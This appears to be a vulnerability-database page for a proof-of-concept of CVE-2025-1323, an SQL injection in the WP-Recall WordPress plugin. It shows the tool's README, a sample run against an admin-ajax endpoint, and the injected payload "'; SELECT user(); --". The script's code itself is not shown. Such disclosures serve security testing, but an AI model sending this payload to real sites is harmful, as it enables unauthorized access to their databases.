CVE-2025-1323 PoC — WordPress plugin WP-Recall SQL注入漏洞

Source

Associated Vulnerability

Description

WP-Recall Plugin SQL Injection 

Readme

# cve-2025-1323
WP-Recall Plugin SQL Injection 

## ⚠️ Legal Disclaimer

This tool is intended for **authorized security testing and educational use only**.  
Do not use against systems without explicit permission. Misuse may be illegal.

## ✅ Requirements

- Python 3.x
- `requests` module

Install dependencies:

```bash
pip install requests

python CVE-2025-1323.py

Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06

[*] Sending payload: '; SELECT user(); --

[+] Response received:
{"result":"SQL error or leaked data here..."} 

File Snapshot

 [4.0K]  /data/pocs/df5ad22914ccf5568c2385bc7711c25e494edfc4
├── [1.5K]  CVE-2025-1323.py
└── [ 637]  README.md

0 directories, 2 files

Remarks